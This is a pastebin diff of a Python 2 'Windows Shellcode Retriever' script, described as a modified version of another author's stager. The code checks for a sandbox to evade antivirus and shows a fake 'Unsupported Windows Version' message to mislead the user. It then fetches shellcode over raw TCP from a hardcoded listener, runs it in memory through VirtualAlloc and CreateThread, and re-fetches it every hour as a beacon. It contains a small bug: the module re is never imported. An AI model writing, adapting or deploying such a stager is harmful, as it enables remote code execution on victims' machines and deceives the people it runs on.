View difference between Paste ID: mic8SdLE and Uj5HKR1A

 #!/usr/bin/env python
 #
 # Windows Shellcode Retriever
 # By: HR
 #
 # It's just a slightly modified version of Joshua Pitts' Shellcode Retriever Script...
 # Use Shellcode Sender on the other end to serve up your payloads for execution
 #
 
 import ctypes, os, signal, socket, sys, time
 
 TARGET='192.168.1.4' # Shellcode Sender Listener IP
 PORT=31337           # Shellcode Sender Listener Port
 BEACON=True          # Repeat Shellcode Retrival
 BEACON_DELAY=3600    # 1 hour delay between retrieval attempts
 
 
 def system_info():
   """
      Check System Info and Returns Info in Dictionary Array
        {
          'Available Physical Memory': '644 MB',
          'Product ID': '00426-OEM-8992662-00006',
          'OS Name': 'Microsoft Windows 7 Ultimate',
          'BIOS Version': 'Phoenix Technologies LTD 6.00, 7/2/2012',
          'System Model': 'VMware Virtual Platform',
          'System type': 'X86-based PC',
          'Total Physical Memory': '1,023 MB',
          'Logon Server': '\\\\WIN-6CQ3JVLCHM4',
          'Domain': 'WORKGROUP',
          'Windows Directory': 'C:\\Windows',
          'OS Version': '6.1.7601 Service Pack 1 Build 7601',
          'System Manufacturer': 'VMware, Inc.',
          'Host Name': 'WIN-6CQ3JVLCHM4'
        }
 
      Example:
         >>> info = SysInfo()
         >>> info['OS Version']
         '6.1.7601 Service Pack 1 Build 7601'
 
      Borrowed from our sacred stackoverflow:
         http://stackoverflow.com/questions/467602/how-can-i-read-system-information-in-python-on-windows
   """
   values  = {}
   cache   = os.popen2("SYSTEMINFO")
   source  = cache[1].read()
   sysOpts = ["Host Name", "OS Name", "OS Version", "Product ID", "System Manufacturer", "System Model", "System type", "BIOS Version", "Domain", "Windows Directory", "Total Physical Memory", "Available Physical Memory", "Logon Server"]
   for opt in sysOpts:
     values[opt] = [item.strip() for item in re.findall("%s:\w*(.*?)\n" % (opt), source, re.IGNORECASE)][0]
   return values
 
 
 def decoy_message():
   """ Decoy Message to Present to User on Epic Failure """
   info = system_info()
   print "\n[x] Unsupported Windows Version!"
   print "   [*] Platform: %s" % sys.platform
   print "   [x] Build Version: %s" % info['OS Version']
   print "\n[*] Keep Checking Developer Site for updates...\n\n"
   sys.exit(0)
 
 
 def sandbox_check():
   """
      Quick sandbox check for additional av evasion.
      And a message to throw the user off.
   """
   ##################################################################################
   # Add some mathematical stuff or some time consuming activities for added delays #
   ##################################################################################
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sandbox = True
   try:
     s.connect(('127.0.0.1', 445))
     s.close()
     sandbox = False
   except:
     pass
   if sandbox == True:
     try:
       s.connect(('127.0.0.1', 135))
       s.close()
     except:
       # Mission Abort!
       decoy_message()
 
 
 def run_shellcode(shellcode):
   """
      ctypes VritualAlloc, MoveMem, and CreateThread
      From http://www.debasish.in/2012_04_01_archive.html
   """
   # Get pointer to our allocated memory space
   pointer = ctypes.windll.kernel32.VirtualAlloc(
     ctypes.c_int(0),
     ctypes.c_int(len(shellcode)),
     ctypes.c_int(0x3000),
     ctypes.c_int(0x40)
   )
 
   # Move Shellcode into memory
   buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
   ctypes.windll.kernel32.RtlMoveMemory(
     ctypes.c_int(pointer),
     buf,
     ctypes.c_int(len(shellcode))
   )
 
   # Create new thread and run our shellcode in it
   thread_handle = ctypes.windll.kernel32.CreateThread(
     ctypes.c_int(0),
     ctypes.c_int(0),
     ctypes.c_int(pointer),
     ctypes.c_int(0),
     ctypes.c_int(0),
     ctypes.pointer(ctypes.c_int(0))
   )
 
   # Wait for our thread to finish or timeout
   ctypes.windll.kernel32.WaitForSingleObject(
     ctypes.c_int(thread_handle),
     ctypes.c_int(-1)
   )
   return
 
 
 
 def fetch_shellcode(target, port):
   """
      Raw TCP Socket Request to Target:Port to grab our remote shellcode
      The received Shellcode is then passed off to be run
   """
   # Open TCP Socket Connection to target:port
   print '[*] Downloading Shellcode...'
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((target,port))
 
   # Receive shellcode
   data = s.recv(1024)
   shellcode = data
   while data != '':
     data = s.recv(1024)
     if data == '':
       break
     else:
       shellcode += data
 
   # Convert to Bytearray for usability sake
   shellcode = bytearray(shellcode)
 
   # Pass to be run in memory...
   print '[*] Executing Shellcode in Memory....'
   run_shellcode(shellcode)
 
 
 
 def main():
   # Does making connetions raise alerts?
   sandbox_check()
 
   if TARGET == '':
     decoy_message() # If you cant read and edit source, you fail
 #    TARGET = raw_input("Enter Shellcode Listner IP: ")
 #    PORT = raw_input("Enter Shellcode Listner Port: ")
   try:
     fetch_shellcode(TARGET, int(PORT))
     while BEACON is True:
 #      print '[*] Sleeping for %d seconds....' % BEACON_DELAY
       time.sleep(BEACON_DELAY)
       fetch_shellcode(TARGET, int(PORT))
 
   except Exception, e:
 #    print str(e)
     pass
 
 if __name__ == "__main__":
   main()